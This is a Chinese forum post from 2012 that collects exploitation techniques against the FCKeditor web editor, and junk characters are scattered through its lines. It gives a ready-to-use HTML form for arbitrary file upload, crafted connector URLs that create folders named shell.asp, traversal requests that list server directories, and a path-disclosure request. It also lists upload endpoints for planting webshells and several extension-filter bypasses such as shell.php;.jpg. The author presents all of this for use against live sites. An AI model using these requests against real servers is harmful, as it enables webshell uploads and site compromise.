Fckeditor漏洞利用总结
1 B; F1 F) j- Y3 \查看编辑器版本* u1 \' M3 G( p/ }, O3 [
FCKeditor/_whatsnew.html5 c4 d4 S/ [. E
—————————————————————————————————————————————————————————————
! W* j8 r! | x2 U" k( f( Y7 p" w) @- a( N3 b( `* I2 ~- [
2. Version 2.2 版本7 S3 W6 _ @1 L2 f1 J ^
Apache+linux 环境下在上传文件后面加个.突破！测试通过。
7 Q4 D- a8 J3 O$ l! z) J0 U—————————————————————————————————————————————————————————————- ^3 ?' G$ m7 M2 z% D% K
. \0 M5 h. o8 Y X8 G3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
8 B7 F. L6 b$ [# M* I2 m, l<form id="frmUpload" enctype="multipart/form-data"9 R" S8 i9 A8 ^. A
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>1 x, F: d! m- J( k9 q
<input type="file" name="NewFile" size="50"><br>" N/ d5 z% C3 t0 h
<input id="btnUpload" type="submit" value="Upload">
; Q `0 }# G+ U( w" ~3 p' D; z</form>6 t5 Z9 R3 t8 M8 j
—————————————————————————————————————————————————————————————) E3 @/ |+ Q8 F" \
9 V1 r2 ]2 q+ T- h4 U, \( L7 p4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
$ Y0 @: z5 t8 H3 C) t 很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。& U8 \: [& W9 E# E
4.1：提交shell.php+空格绕过
$ l2 X7 ~0 W# Y. ~( ^不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。; L2 a8 h- a8 [: h. W5 U
4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
- H H! k, }- |0 c' S—————————————————————————————————————————————————————————————: I: c# O |7 u4 r; U
0 ]) L$ \8 Z7 s4 I. p. O' F5. 突破建立文件夹- U" p W( n3 z% O$ i
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
5 T. J6 ^$ q& Y8 H8 v! ?) vFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
" b# ^# Y+ h& G9 z( j: c—————————————————————————————————————————————————————————————5 v8 f. H$ S5 S1 |( f
6 R! X: r4 R' j8 I" m0 ]
6. FCKeditor 中test 文件的上传地址. A% J4 ^0 R7 _8 G; D
FCKeditor/editor/filemanager/browser/default/connectors/test.html
, f1 o1 p" s) j! G& z0 |FCKeditor/editor/filemanager/upload/test.html
6 `5 ~5 c. Z: N4 u3 H8 e+ v* _1 J GFCKeditor/editor/filemanager/connectors/test.html8 N: K" A9 s6 _8 C+ e
FCKeditor/editor/filemanager/connectors/uploadtest.html' x- o8 S+ z0 s( D5 H8 c) W& k. E
—————————————————————————————————————————————————————————————5 i% g. D- ]5 u
; ?- v* J6 ?( X7.常用上传地址
- o: O7 v7 X6 @% m# c( FFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/) x3 L) B C2 U8 ^
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
2 ]0 n- N+ G4 eFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
4 D% Z) w/ L$ K8 e5 c- OJSP 版：
" h2 y% C8 H3 ~. Z2 ^FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp9 ]; n/ X1 ~. z0 D: E2 f
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文8 u4 [% v8 e' Q8 b' p
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
" `. S, G- G6 j9 ?, ^—————————————————————————————————————————————————————————————/ m7 w, |7 ]6 g0 t
6 o: G- s: L* N* b, r
8.其他上传地址
: V: s, B8 r/ S" K' `. P& b1 H# ]FCKeditor/_samples/default.html
# W* z4 g! g& wFCKeditor/_samples/asp/sample01.asp( y8 a( W% e/ f& @
FCKeditor/_samples/asp/sample02.asp
" @- A. T4 S4 _% o; y4 ^FCKeditor/_samples/asp/sample03.asp
9 ]# c1 X/ s0 }- Y( O( ~! U: GFCKeditor/_samples/asp/sample04.asp( c/ q8 n0 k6 W o1 X3 Z) d
一般很多站点都已删除_samples 目录，可以试试。& W- d/ F2 N4 `& q2 _+ \
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。0 s$ D3 ]& M _ j
—————————————————————————————————————————————————————————————* U3 z6 n$ F: f# T
! D9 T" ^/ W/ Z. ^, i5 m9.列目录漏洞也可助找上传地址* |0 X! S- n* R' s
Version 2.4.1 测试通过1 R( S! d' x" u
修改CurrentFolder 参数使用 ../../来进入不同的目录, b" @5 O. ]/ J ]9 _4 X- c t3 Q
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
+ g( x7 o6 e/ h2 U根据返回的XML 信息可以查看网站所有的目录。 @& V' ]' p# y
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F, K) r( D ?$ ~# U( g" a' b v& B
也可以直接浏览盘符：1 B' l4 h; B1 |6 P% W
JSP 版本：
8 w7 |3 E7 K: G% C" `( p8 ^9 PFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F! L: y* l, `' _! g+ e
—————————————————————————————————————————————————————————————% N8 C7 L. W- P- M# o, Q. }4 \
( y2 M9 t8 q- U
10.爆路径漏洞
. z% i* g4 U/ O& F: I' B, R q* uFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
. y. \! n0 @' U1 E; O* o—————————————————————————————————————————————————————————————& v+ E- J6 f6 k" r; Q6 J
R* y% `5 y+ ?" Y1 @8 \0 |
11. FCKeditor 被动限制策略所导致的过滤不严问题
" O. E; x! R; |! s1 K. m 影响版本: FCKeditor x.x <= FCKeditor v2.4.33 M# E0 p- n& A# V
脆弱描述：
. x. l3 b# A, H5 @FCKeditor v2.4.3 中File 类别默认拒绝上传类型：: K u5 U# {7 N( t5 J
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm1 V0 ^! x/ K# J7 w$ e; L( m5 L. ]% B
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
/ ~6 m' x& o2 z* h- }# l/ x 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
& {+ O, c& C" P4 T* Q+ J6 @" B: M 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!2 [' o3 ?; q ^$ }
—————————————————————————————————————————————————————————————
- i' } O* L7 Z$ W! q/ R
4 y% |6 \2 e; B4 p12.最古老的漏洞，Type文件没有限制！
. l7 a, ~; w) R: e' s% w 我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！
$ y: Q: O2 \ t# H—————————————————————————————————————————————————————————————
; ~( {7 h& x, y% t" O8 x( @* F4 v2 d& Y. R. e4 W
===============================================================================================================================================
: e1 E& l4 |* C- k$ @ h- x6 Q: ]" D( ^; } [% E
FCK编辑器jsp版本漏洞：
! F, N: U$ b0 I9 t; g$ @
+ P) j' P3 w( ^4 v4 W) |# u: k. G T
0 ~% H+ J% h( C( ohttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
* z' y- @' a. B8 M% T( e, W6 I& G# O4 G0 J
上传马所在目录
8 N, L- g. r" _, _8 }4 ?FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/' O+ X S$ ]% O3 Z" j Q2 @7 u
上传shell的地址:
# Y2 p" R# C' u! ^. l! Lhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
. Q" D( Y! A$ U( X跟版本有关系.并不是百分百成功. 测试成功几个站.2 Q. {6 P9 e- Y8 X9 b, B: }# @* H0 h
不能通杀.很遗憾.6 Q( D8 ^- }! t9 U0 l
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
6 F6 }; V! H- w如果以上地址不行可以试试, |# l( Y4 A: o
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector% c4 c, X; N7 I) B" n
FCKeditor/_samples/
. S; L$ e s( B3 x/ k; y/ \* cFCKeditor/_samples/default.html/ v0 F$ M/ I- C$ d) e
FCKeditor/editor/fckeditor.htm7 }# O* A; s6 s/ J& {
FCKeditor/editor/fckdialog.html m. O8 Z6 ^1 k! B4 J; s, F4 H
0 r0 |' U* ?* f2 e. \! A
, Q5 z! @+ I7 r) J \; o
& h% U" v: x% B! u2 m解析漏洞+未重命名文件时上传漏洞 1.asp;jpg5 r6 l3 o2 T5 p
|
发表于 2012-9-13 17:01:39
收藏
支持
反对